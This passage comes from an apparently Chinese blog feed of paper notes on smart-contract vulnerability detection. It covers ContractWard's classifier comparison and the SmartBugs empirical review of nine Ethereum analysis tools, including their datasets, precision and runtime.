style="height:0.44509999999999994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></li></ol></li></ol><h3 id="sampling-methods"><a class="markdownIt-Anchor" href="#sampling-methods"></a> Sampling Methods</h3><p>评估我们关于真实世界智能合约的方法。 我们在同一测试集上使用五个分类器,即 XGBoost 分类器、AdaBoost 分类器、RF 分类器、SVM 分类器和 KNN 分类器,每个分类器由三个不同的训练集进行训练,即原始训练集、与 SMOTE 平衡的训练集以及与 SMOTETomek 平衡的训练集,如表四所示。我们选择Micro-F1和Macro-F1 作为分类评估指标。Micro-F1和Macro-F1 是用于评估多标签分类的度量。</p><ul><li>计算 Micro-F1 时,该值易受具有许多样本的类别的分类结果的影响。</li><li>计算 Macro-F1 时,无论每个类别中的样本数如何,每个类别的权重都是相等的。</li></ul><p>图 4 表明,每个分类器的预测 Micro-F1 和Macro-F1 值与在训练集上训练的与 SMOTE 平衡或与 SMOTETomek 平衡的训练集上的值大于在原始训练集上训练的每个分类器的值。更具体地说,SMOTETomek 在五个分类器中比 SMOTE 效率更高,以平衡数据,而 Micro-F1 和 Macro-F1 在 XGBoost 分类器中都可以达到 96% 以上。因此,SMOTE和SMOTETomek方法可以成功地解决分类器由于类不平衡而导致的泛化能力薄弱的问题。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015165334.png" alt="image-20201015165334234" /></p><center>Fig. 4. The Comparison of Sampling Methods with Five Classifiers</center><h3 id="classifiers"><a class="markdownIt-Anchor" href="#classifiers"></a> Classifiers</h3><p>进行综合实验,目的是比较基于五个多标签分类器的性能,即XGBoost分类器、AdaBoost分类器、RF分类器、SVM 分类器和 KNN 分类器,以及两种采样方法,即 SMOTE 和 SMTOETomek。Micro-F1 和Macro-F1 用于测量分类器的性能。F1-score 是用于评估二进制分类器的度量值,它被定义为召回 (R) 和精度 (P) 的加权平均值(weighted harmonic mean)。</p><p>在表 VI 中,可以看到 XGBoost 分类器产生的 F1 得分值比每个二进制分类任务中的 AdaBoost 分类器、RF 分类器、SVM 分类器和 KNN 分类器高。XGBoost多标签分类器的预测微Micro-F1 和Macro-F1 在五个分类器中最高,达到96%以上。</p><center>TABLE VI THE DETECTION PERFORMANCE COMPARISON OF FIVE CLASSIFIERS TRAINED BY TRAINING SETS BALANCED WITH SMOTETOMEK</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015165847.png" alt="image-20201015165847495" /></p><p>在我们的多标签分类中,集成式学习分类器的表现优于 SVM 和 KNN 分类器。Micro-F1 值大于 Macro-F1 值,因为溢出和下溢漏洞的测试样本数量都很大,并且这两个类别的 F1 得分值很高。比较表六和表七,很明显,XGBoost分类器的性能与SMOTETomek平衡训练,性能好于预期。因此,我们在名为"合同"的模型中将 XGBoost 分类器与 SMOTETomek 方法一起选择。</p><center>TABLE VII THE DETECTION PERFORMANCE COMPARISON OF FIVE CLASSIFIERS TRAINED BY TRAINING SETS BALANCED WITH SMOTE</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015165913.png" alt="image-20201015165913769" /></p><h3 id="contractward"><a class="markdownIt-Anchor" href="#contractward"></a> ContractWard</h3><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015170214.png" alt="image-20201015170214299" /></p><center>Fig. 5. The ROC Curves of ContractWard with XGBoost classifier.</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015170413.png" alt="image-20201015170412926" /></p><center>Fig. 6. TPRs, FNRs, TNRs and FPRs of ContractWard</center><h2 id="总结结论"><a class="markdownIt-Anchor" href="#总结结论"></a> 总结结论</h2><p>本文选取Oyente作为基准方法,从以往几篇文章来看,这种方法在检测准确度上并不是十分地好,还有更多表现更加优良的方法,如Mythril、Slither等。所以在基准的选取上可能并不是那么得有说服力。</p>]]></content>
<categories>
<category>智能合约</category>
</categories>
<tags>
<tag>Smart Contract</tag>
<tag>机器学习</tag>
</tags>
</entry>
<entry>
<title>Empirical Review of Automated Analysis Tools on 47,587 Ethereum Smart Contracts</title>
<link href="/2020/10468b6a58.html"/>
<url>/2020/10468b6a58.html</url>
<content type="html"><![CDATA[<h1 id="empirical-review-of-automated-analysis-tools-on-47587-ethereum-smart-contracts"><a class="markdownIt-Anchor" href="#empirical-review-of-automated-analysis-tools-on-47587-ethereum-smart-contracts"></a> Empirical Review of Automated Analysis Tools on 47,587 Ethereum Smart Contracts</h1><p>论文题目:(2020-ICSE) <a href="https://dl.acm.org/doi/abs/10.1145/3377811.3380364">Empirical Review of Automated Analysis Tools on 47,587 Ethereum Smart Contracts</a> —— 自动分析工具对47,587个以太坊智能合约的进行实证评估</p><p>论文引用:Durieux T, Ferreira J F, Abreu R, et al. Empirical review of automated analysis tools on 47,587 Ethereum smart contracts[C]//Proceedings of the ACM/IEEE 42nd International Conference on Software Engineering. 2020: 530-541.</p><p>代码开源:<a href="https://github.com/smartbugs/smartbugs">SmartBugs</a></p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412114935.png" alt="image-20210412114934942" /></p><h2 id="一-main-content"><a class="markdownIt-Anchor" href="#一-main-content"></a> 一、MAIN CONTENT</h2><p>本文想要分析当前最新检测智能合约漏洞工具的有效性和实用性,选择了35种主流的自动分析工具,按照自定义的四个标准筛选出了9个不同的工具;为了能够执行和比较自动分析工具,从而为公平比较奠定基础,作者提供了两个Solidity智能合约数据集:</p><ul><li>第一个数据集包含69个手动注释的智能合约,可用于评估分析工具的精度。</li><li>第二个数据集包含以太坊区块链中所有可用的智能合约,这些合约在撰写本文时在Etherscan上具有Solidity源代码(总共47,518个合约)</li></ul><p>并且已经在两个数据集上执行了9种最新的自动化分析工具,并对结果进行了分析,所有工具的执行需要564天3小时才能完成428,337分析。为了简化对智能合约自动分析技术的研究,提供了一个新颖的,可扩展的,易于使用的执行框架,称为SmartBugs,可以在相同的执行环境中执行这些工具;该框架当前包含9个已配置的智能合约分析工具。</p><p>结果表明,所有工具仅检测到注释数据集中的漏洞的42%,并且最新技术无法检测DASP10的两类漏洞:随机性差(Bad Randomness)和短地址(Short Addresses);其中<a href="https://github.com/ConsenSys/mythril">Mythtil</a>具有更高的准确性(27%),此外本文还提到如果要兼顾准确性和执行成本,那么Mythril和Slither的组合可以检测到总共42/115(37%)的漏洞,这是最佳折衷方案;</p><p>而对另一个数据集进行漏洞检测时,有97%的合同至少被一种工具检测到漏洞,这表明每种工具都可能存在着大量误报,而其中Oyente更是当仁不让地检测到73%的合同中的漏洞。总之表明,最先进的技术远非完美无缺,依然有很大改进的空间。</p><p>总而言之,本文的贡献是:</p><p>(1)带有注释的易受攻击的Solidity智能合约数据集;<br />(2)一个包含以太坊区块链(Etherscan)中所有可用的智能合约的数据集,并且合约具有Solidity源代码;<br />(3)一个执行框架SmartBugs,包括9个预配置的智能合约分析工具;<br />(4)对47,587份智能合约执行9种工具的分析。</p><h2 id="二-background"><a class="markdownIt-Anchor" href="#二-background"></a> 二、BACKGROUND</h2><p>研究者已经开发了一些自动分析工具,以查找和消除智能合约中的漏洞。但是,比较和复制这项研究并不容易:即使有几种工具是公开可用的,但使用的数据集却不是。如果新工具的开发人员想将新工具与现有工作进行比较,当前的方法是与替代工具的作者联系,并希望他们能够访问其数据集。</p><h2 id="三-study-design"><a class="markdownIt-Anchor" href="#三-study-design"></a> 三、STUDY DESIGN</h2><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412115007.png" alt="image-20210412115007168" /></p><h3 id="research-questions"><a class="markdownIt-Anchor" href="#research-questions"></a> Research Questions</h3><ol><li><p>[Effectiveness] What is the effectiveness of current analysis tools in detecting vulnerabilities in Solidity smart contracts?</p><p>探究最新的分析工具在检测已知智能合约中的漏洞方面的精确度如何</p></li><li><p>[Production] How many vulnerabilities are present in the Ethereum blockchain?</p><p>调查了从以太坊区块链中提取的合约中检测到的漏洞,考虑了最流行的漏洞,随时间的演变的漏洞以及自动分析工具的不同组合之间的共同漏洞。</p></li><li><p>[Performance] How long do the tools require to analyze the smart contracts?</p><p>比较分析工具的性能。目的是确定哪种工具效率最好</p></li></ol><h3 id="subject-tools"><a class="markdownIt-Anchor" href="#subject-tools"></a> Subject Tools</h3><p>根据一些已有的文献和作者自己的搜查,列出了35种工具:</p><center>TABLE 1 确定为该研究潜在的工具</center><table><thead><tr><th>#</th><th>Tools</th><th>URLs</th></tr></thead><tbody><tr><td>1</td><td>contractLarva</td><td><a href="https://github.com/gordonpace/contractLarva">https://github.com/gordonpace/contractLarva</a></td></tr><tr><td>2</td><td>E-EVM</td><td><a href="https://github.com/pisocrob/E-EVM">https://github.com/pisocrob/E-EVM</a></td></tr><tr><td>3</td><td>Echidna</td><td><a href="https://github.com/crytic/echidna">https://github.com/crytic/echidna</a></td></tr><tr><td>4</td><td>Erays</td><td><a href="https://github.com/teamnsrg/erays">https://github.com/teamnsrg/erays</a></td></tr><tr><td>5</td><td>Ether</td><td>N/A</td></tr><tr><td>6</td><td>Ethersplay</td><td><a href="https://github.com/crytic/ethersplay">https://github.com/crytic/ethersplay</a></td></tr><tr><td>7</td><td>EtherTrust</td><td><a href="https://www.netidee.at/ethertrust">https://www.netidee.at/ethertrust</a></td></tr><tr><td>8</td><td>EthIR</td><td><a href="https://github.com/costa-group/EthIR">https://github.com/costa-group/EthIR</a></td></tr><tr><td>9</td><td>FSolidM</td><td><a href="https://github.com/anmavrid/smart-contracts">https://github.com/anmavrid/smart-contracts</a></td></tr><tr><td>10</td><td>Gasper</td><td>N/A</td></tr><tr><td>11</td><td><mark>HoneyBadger</mark></td><td><a href="https://github.com/christoftorres/HoneyBadger">https://github.com/christoftorres/HoneyBadger</a></td></tr><tr><td>12</td><td>KEVM</td><td><a href="https://github.com/kframework/evmsemantics">https://github.com/kframework/evmsemantics</a></td></tr><tr><td>13</td><td>MadMax</td><td><a href="https://github.com/nevillegrech/MadMax">https://github.com/nevillegrech/MadMax</a></td></tr><tr><td>14</td><td>Maian</td><td><a href="https://github.com/MAIAN-tool/MAIAN">https://github.com/MAIAN-tool/MAIAN</a></td></tr><tr><td>15</td><td><mark>Manticore</mark></td><td><a href="https://github.com/trailofbits/manticore/">https://github.com/trailofbits/manticore/</a></td></tr><tr><td>16</td><td><mark>Mythril</mark></td><td><a href="https://github.com/ConsenSys/mythril-classic">https://github.com/ConsenSys/mythril-classic</a></td></tr><tr><td>17</td><td>Octopus</td><td><a href="https://github.com/quoscient/octopus">https://github.com/quoscient/octopus</a></td></tr><tr><td>18</td><td><mark>Osiris</mark></td><td><a href="https://github.com/christoftorres/Osiris">https://github.com/christoftorres/Osiris</a></td></tr><tr><td>19</td><td><mark>Oyente</mark></td><td><a href="https://github.com/melonproject/oyente">https://github.com/melonproject/oyente</a></td></tr><tr><td>20</td><td>Porosity</td><td><a href="https://github.com/comaeio/porosity">https://github.com/comaeio/porosity</a></td></tr><tr><td>21</td><td>rattle</td><td><a href="https://github.com/crytic/rattle">https://github.com/crytic/rattle</a></td></tr><tr><td>22</td><td>ReGuard</td><td>N/A</td></tr><tr><td>23</td><td>Remix</td><td><a href="https://github.com/ethereum/remix">https://github.com/ethereum/remix</a></td></tr><tr><td>24</td><td>SASC</td><td>N/A</td></tr><tr><td>25</td><td>sCompile</td><td>N/A</td></tr><tr><td>26</td><td><mark>Securify</mark></td><td><a href="https://github.com/eth-sri/securify">https://github.com/eth-sri/securify</a></td></tr><tr><td>27</td><td><mark>Slither</mark></td><td><a href="https://github.com/crytic/slither">https://github.com/crytic/slither</a></td></tr><tr><td>28</td><td><mark>Smartcheck</mark></td><td><a href="https://github.com/smartdec/smartcheck">https://github.com/smartdec/smartcheck</a></td></tr><tr><td>29</td><td>Solgraph</td><td><a href="https://github.com/raineorshine/solgraph">https://github.com/raineorshine/solgraph</a></td></tr><tr><td>30</td><td>Solhint</td><td><a href="https://github.com/protofire/solhint">https://github.com/protofire/solhint</a></td></tr><tr><td>31</td><td>SolMet</td><td><a href="https://github.com/chicxurug/SolMet-Solidity-parser">https://github.com/chicxurug/SolMet-Solidity-parser</a></td></tr><tr><td>32</td><td>teEther</td><td><a href="https://github.com/nescio007/teether">https://github.com/nescio007/teether</a></td></tr><tr><td>33</td><td>Vandal</td><td><a href="https://github.com/usyd-blockchain/vandal">https://github.com/usyd-blockchain/vandal</a></td></tr><tr><td>34</td><td>VeriSol</td><td><a href="https://github.com/microsoft/verisol">https://github.com/microsoft/verisol</a></td></tr><tr><td>35</td><td>Zeus</td><td>N/A</td></tr></tbody></table><p>其中只有满足四个纳入条件(inclusion criteria)的工具才会被应用到最后的研究。三个纳入条件如下:</p><ol><li>Available and CLI:该工具是公开可用的,并支持命令行界面(command-line interface,CLI);CLI促进了分析的可伸缩性</li><li>Compatible Input:该工具将Solidity合同作为输入。这不包括仅考虑仅以EVM字节码为输入的工具。</li><li>Only Source:该工具仅需要合同的源代码即可运行分析。这不包括需要测试套件(test suite)或带有断言注释的合同(contracts annotated with assertions)的工具。</li><li>Vulnerability Finding:该工具可以识别智能合约中的漏洞或不良实践(bad practices)。这排除了仅构造诸如控制流程图之类的工件的分析类工具(analysis tools)</li></ol><p>在检查了表1中列出的所有35种分析工具之后,发现有9种工具符合概述的纳入标准。表2列出了排除和包含的工具,对于排除的工具,还显示了它们不符合哪些标准。</p><center>TABLE 2 根据作者的纳入标准排除和包含的分析工具</center><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20201009161527.png" alt="image-20201009161520383" /></p><h4 id="honeybadger"><a class="markdownIt-Anchor" href="#honeybadger"></a> HoneyBadger</h4><p>由卢森堡大学的一组研究人员开发,是基于Oyente的工具,该工具采用符号执行和一组启发式方法(a set of heuristics)来确定智能合约中的漏洞(honeypots,这里用了蜜罐指代)。honeypots是指在设计上似乎有明显的缺陷的智能合约,假设用户先验将一定数量的以太币转移到合约中,则任意用户都可以从合约中消耗Ether。当HoneyBadger检测到合同似乎易受攻击时,这意味着合同的开发人员希望使合同看起来易受攻击,但并不易受攻击。</p><h4 id="maian"><a class="markdownIt-Anchor" href="#maian"></a> Maian</h4><p>由新加坡国立大学和伦敦大学学院的研究人员联合开发的,也是基于Oyente工具的。Maian会寻找可以自毁(self-destructed)合同、从任意地址抽取以太的合同,以及不具有付款功能的却接受以太的合同;然后使用私有区块链中的动态分析(dynamic analysis)来减少误报的数量。</p><h4 id="manticore"><a class="markdownIt-Anchor" href="#manticore"></a> Manticore</h4><p>由TrailOfBits开发,使用符号执行在EVM字节码中搜索引起重入(reentrancy)漏洞和可达到自毁(reachable self-destruct)执行路径的漏洞。</p><h4 id="mythril"><a class="markdownIt-Anchor" href="#mythril"></a> Mythril</h4><p>由ConsenSys开发的产品,依赖于EVM字节码的调和分析(concolic analysis),污点分析(taint analysis)和控制流检查(control flow checking),以修剪搜索空间并查找可以利用智能合约中的漏洞的价值。</p><h4 id="osiris"><a class="markdownIt-Anchor" href="#osiris"></a> Osiris</h4><p>由卢森堡大学的一组研究人员开发的Oyente扩展了功能,可以检测智能合约中的整数错误(integer bugs)。</p><h4 id="oyente"><a class="markdownIt-Anchor" href="#oyente"></a> Oyente</h4><p>由Melonport AG开发的,是最早的智能合约分析工具之一。它也被用作Maian和Osiris等其他几种方法的基础。 Oyente在EVM字节码上使用符号执行来识别漏洞。</p><h4 id="securify"><a class="markdownIt-Anchor" href="#securify"></a> Securify</h4><p>由苏黎世联邦理工学院的ICE中心开发,使用Souffle Datalog求解器静态分析EVM字节码,以推断出与合同有关的精确语义信息。然后,它将检查合规性(compliance)和违规(violation)模式,以捕获足够的条件来证明财产是否成立。</p><h4 id="slither"><a class="markdownIt-Anchor" href="#slither"></a> Slither</h4><p>由TrailOfBits开发的是一种静态分析框架,该框架将Solidity智能合约转换为称为SlithIR的中间表示形式,并应用已知的程序分析技术,例如数据流和污点跟踪(taint tracking),来提取和改进信息。</p><h4 id="smartcheck"><a class="markdownIt-Anchor" href="#smartcheck"></a> Smartcheck</h4><p>由SmartDec开发的是一种静态分析工具,用于查找漏洞模式和不良的编程行为(bad coding practices);它在Solidity源代码上运行词法和句法分析(lexical and syntactical analysis)。</p><h3 id="datasets-of-smart-contracts"><a class="markdownIt-Anchor" href="#datasets-of-smart-contracts"></a> Datasets of Smart Contracts</h3><h4 id="a-dataset-of-69-vulnerable-smart-contracts"><a class="markdownIt-Anchor" href="#a-dataset-of-69-vulnerable-smart-contracts"></a> A Dataset of 69 Vulnerable Smart Contracts</h4><p><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>S</mi><msup><mi>B</mi><mrow><mi>c</mi><mi>u</mi><mi>r</mi><mi>a</mi><mi>t</mi><mi>e</mi><mi>d</mi></mrow></msup></mrow><annotation encoding="application/x-tex">SB^{curated}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.849108em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">c</span><span class="mord mathdefault mtight">u</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">r</span><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight">t</span><span class="mord mathdefault mtight">e</span><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span></span></span></span></span>,包含69个易受攻击的智能合约:此数据集中的合同或者是已被识别为易受攻击的真实合同,或者是为了说明易受攻击性而故意创建的。该数据集的目标是拥有一组标记有漏洞的位置和类别的已知漏洞合同。此数据集可用于评估智能合约分析工具识别漏洞的有效性。</p><p>用<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>D</mi><mi>A</mi><mi>S</mi><msup><mi>P</mi><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">DASP^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">D</span><span class="mord mathdefault">A</span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span>中提供的分类法来描述以太坊智能合约的漏洞。每个收集的合同都归为十类之一。通过从三个不同的来源收集合同来创建此数据集:</p><ol><li>GitHub存储库;</li><li>分析合同的博客文章;</li><li>以太坊网络。</li></ol><p>其中80%的合同是从GitHub存储库中收集的。每行包含一个漏洞类别。对于每个类别都提供一个描述(Description)、可以减轻攻击的级别(Level)、该类别中可用的合同数量(Contracts)以及该类别的合同中的代码行总数(lines of code,LOC)。</p><center>TABLE 3 数据集中可用漏洞的类别</center><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20201009193624.png" alt="image-20201009193623965" /></p><p>作者提供获取合同的URL及其作者来确保每个合同的可追溯性;数据集包含69个合约和115个带标签的漏洞,分为十类漏洞。并且将此数据集开源在<a href="https://smartbugs.github.io/">SmartBugs</a>。</p><h4 id="47518-contracts-from-the-ethereum-blockchain"><a class="markdownIt-Anchor" href="#47518-contracts-from-the-ethereum-blockchain"></a> 47,518 Contracts from the Ethereum Blockchain</h4><p><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>S</mi><msup><mi>B</mi><mrow><mi>W</mi><mi>I</mi><mi>L</mi><mi>D</mi></mrow></msup></mrow><annotation encoding="application/x-tex">SB^{WILD}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413309999999999em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413309999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">W</span><span class="mord mathdefault mtight" style="margin-right:0.07847em;">I</span><span class="mord mathdefault mtight">L</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">D</span></span></span></span></span></span></span></span></span></span></span></span>,包含从以太坊区块链中提取的47,518个合约:这些合同的漏洞集是未知的;但是,该数据集可用于识别具有(潜在)漏洞并指示特定问题发生频率的真实合同。它也可以用于比较诸如性能等指标的分析工具。</p><center>TABLE 4 从以太坊区块链收集Solidity智能合约的统计数据。</center><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20201009194431.png" alt="image-20201009194431486" /></p><p>该数据集可在GitHub 上获得。数据集包含47,518个合约中每个合约的Solidity源代码。合同以合同地址命名;还为该数据集附加了其他信息,以便将该数据集用于其他类型的研究。它包含:</p><ul><li>合同名称;</li><li>已用于编译合同的Solidity版本;</li><li>重复合同的地址;</li><li>与合同相关的交易数量;</li><li>以Solidity代码行为单位的合同大小;</li><li>2,263,096个合同的最后交易日期;</li><li>2,263,096个合同的创建日期;</li><li>972,975个有可用源代码的以太坊余额的合约。</li></ul><h3 id="the-execution-frameworksmartbugs"><a class="markdownIt-Anchor" href="#the-execution-frameworksmartbugs"></a> The Execution Framework:SmartBugs</h3><p>SmartBugs,这是一个执行框架,旨在简化智能合约数据集上分析工具的执行。<br />SmartBugs具有以下功能:</p><ul><li>一个插件系统,可基于Docker映像轻松添加新的分析工具;</li><li>并行执行工具以加快执行时间;</li><li>一种输出机制,可标准化工具输出结果的方式,并简化跨工具的输出过程。</li></ul><h4 id="architecture"><a class="markdownIt-Anchor" href="#architecture"></a> Architecture</h4><p>SmartBugs由五个主要部分组成:</p><ol><li>第一个由使用SmartBug的命令行界面组成。</li><li>第二部分包含工具插件。每个工具插件均包含工具的配置。该配置包含Docker映像的名称,工具的名称,运行该工具的命令行,该工具的描述以及结果输出的位置。</li><li>存储在Docker Hub上的Docker映像。当已有Docker映像时,将使用工具的Docker映像;否则,将创建自己的映像(所有Docker映像(包括作者的)都可以在Docker Hub上公开获得)。</li><li>智能合约的数据集。</li><li>SmartBugs的运行程序将SmartBugs的所有部分放在一起,以执行智能合约上的分析工具。</li></ol><h4 id="dataset-interface-details"><a class="markdownIt-Anchor" href="#dataset-interface-details"></a> Dataset Interface Details</h4><p>数据集接口详细信息:SmartBugs提供了一个命令行界面,可简化智能合约分析工具的执行。它需要一套工具名称和一个Solidity文件的路径来进行分析,并在每次执行时生成两个文件:</p><ol><li>包含执行标准输出的result.log文件</li><li>包含执行结果的result.json文件,以可解析的格式进行分析。我们提供了处理这些输出的脚本,并将它们呈现在可读的表中。</li></ol><h3 id="data-collection-and-analysis"><a class="markdownIt-Anchor" href="#data-collection-and-analysis"></a> Data Collection and Analysis</h3><p>使用SmartBugs在两个数据集上执行了9种工具,收集了输出并用于进一步分析。</p><h4 id="tools-setup"><a class="markdownIt-Anchor" href="#tools-setup"></a> Tools’ Setup</h4><p>我们将时间预算设置为每次分析30分钟。为了为一次执行一项工具而不是一份合约确定合适的时间预算,我们首先在摘要化的数据集上执行了所有工具。<br />然后,我们选择的时间预算要高于平均执行时间(1分44秒)。如果花费了时间预算,我们将停止执行并收集执行的部分结果。在执行实验期间,Manticore是唯一面临超时的工具</p><h4 id="large-scale-execution"><a class="markdownIt-Anchor" href="#large-scale-execution"></a> Large-scale Execution.</h4><p>总共对47,518张合同执行了9种分析工具。这代表了428,337次分析,这些分析大约需要564天和3个小时的组合执行时间,超过一年的连续执行时间。使用了两个云提供商来租用该实验所需的服务器。<br />第一个提供商是Scaleway,我们在其中使用了三台服务器,这些服务器具有32个vCPU和128 GB的RAM。我们增加了500€的预算,并支出了474.99€。</p><p>第二个提供商是Google Cloud,使用了三台服务器和32个 vCPU,30GB RAM。我们在Google Cloud上花费了1038.46€。<br />我们总共花费了1513.45 €(折合11,971.44人民币)来执行本文中讨论的实验。</p><h2 id="四-results"><a class="markdownIt-Anchor" href="#四-results"></a> 四、RESULTS</h2><h3 id="precision-of-the-analysis-tools"><a class="markdownIt-Anchor" href="#precision-of-the-analysis-tools"></a> Precision of the Analysis Tools</h3><p>用来该分析工具的精确度的方法如下:</p><ol><li>我们在69个合同上执行了9个工具</li><li>将工具检测到的所有漏洞提取到JSON文件中。</li><li>我们将检测到的漏洞映射到漏洞类别。</li></ol><p>手动将已检测到的所有漏洞类型注释为十个DASP类别之一。例如,Oyente检测到一个名为Integer Overflow的漏洞,该漏洞已链接到Arithmetic类别;总共确定了141个漏洞类型,其中97个已被标记。不幸的是,发现这9个工具中没有一个能够检测到不良随机性(Bad Randomness)和短地址(Short Addresses)类别的漏洞,工具不会检测某些类别的漏洞,因为它们并非旨在识别所有类型的漏洞。</p><center>TABLE 5 每个工具按类别识别的漏洞 </center><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20201009211425.png" alt="image-20201009211425151" /></p><p>括号中显示了单个工具识别的漏洞数量</p><center>TABLE 6 每个工具检测到的漏洞总数 </center><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20201009211556.png" alt="image-20201009211556647" /></p><p>回答RQ1:当前的分析工具在检测Solidity智能合约上的漏洞时的准确性如何?</p><p>通过将9个工具组合在一起,它们只能检测到所有漏洞的42%。这表明仍然存在提高智能合约漏洞检测方法的准确性的空间。我们注意到,在以下三个类别中,该工具在检测漏洞方面表现不佳:访问控制(Access Control),拒绝服务(Denial of service)和前端运行(Front running)。<br />它们无法通过设计漏洞来检测不良随机性和短地址类别中的漏洞。此外观察到,Mythril在检测到的漏洞数量(31/115,占27%)和针对的漏洞类别数量(5/9类别)方面胜过其他工具。<br />Mythril和Slither的组合可以检测到总共42/115(37%)的漏洞,这是准确性和执行成本之间的最佳折衷方案。</p><h3 id="vulnerabilities-in-production-smart-contracts"><a class="markdownIt-Anchor" href="#vulnerabilities-in-production-smart-contracts"></a> Vulnerabilities in Production Smart Contracts</h3><p>为了研究检测合同中漏洞的能力,分析了9种选定工具从数据集sbwild中查找漏洞。我们采用了与先前研究问题相同的方法,但是,对于<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>S</mi><msup><mi>B</mi><mrow><mi>W</mi><mi>I</mi><mi>L</mi><mi>D</mi></mrow></msup></mrow><annotation encoding="application/x-tex">SB^{WILD}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413309999999999em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413309999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">W</span><span class="mord mathdefault mtight" style="margin-right:0.07847em;">I</span><span class="mord mathdefault mtight">L</span><span class="mord mathdefault mtight" style="margin-right:0.02778em;">D</span></span></span></span></span></span></span></span></span></span></span></span>来说,这里没有确定漏洞的预言。</p><p>表7列出了在47,518个合同上执行9个工具的结果。它表明,这9个工具能够检测八种不同类别的漏洞。请注意,HoneyBadger检测到的漏洞是看起来很脆弱但其实并不是漏洞的合同——它们旨在看上去容易受到攻击,以便从试图利用此漏洞的人们那里窃取以太币。总共,44,589份合同(93%)至少有一个漏洞被9种工具中的一种检测到。</p><center>TABLE 7 具有至少一个漏洞的合同总数 </center><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20201009214242.png" alt="image-20201009214242623" /></p><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20201009214917.png" alt="image-20201009214917011" /></p><center>Figure 1:由一、二、三、四个或四个以上工具(4+)标识的漏洞比例 </center><p>回答RQ2:以太坊区块链中存在多少个漏洞?<br />这9种工具可识别93%的合同中的漏洞,这表明误报率很高。仅Oyente,就能在73%的合同中检测到漏洞。通过组合使用工具来达成共识,观察到只有少数漏洞获得了四个或更多工具的共识:937个Arithmetic漏洞和133个Reentrancy漏洞。</p><h3 id="execution-time-of-the-analysis-tools"><a class="markdownIt-Anchor" href="#execution-time-of-the-analysis-tools"></a> Execution Time of the Analysis Tools</h3><p>在本节中,我们介绍了分析sbwild数据集47,518所需的工具执行时间。为了衡量执行时间,我们记录了每个分析的开始时间和结束时间。</p><p>单个执行由以下步骤组成:</p><ol><li>启动Docker镜像,将合同绑定到Docker实例;</li><li>清洗Docker容器;</li><li>解析日志并将其输出到results文件夹中。</li></ol><p>表8列出了每种工具使用的平均时间和总时间。平均执行时间是在每个合同上执行该工具,包括编译,构建IR、图形、分析和解析结果。</p><center>Table 8: 每个工具的平均执行时间</center><p><img src="https://gitee.com/Reanon/upload-markdown-img/raw/master/img/20201009215326.png" alt="image-20201009215326143" 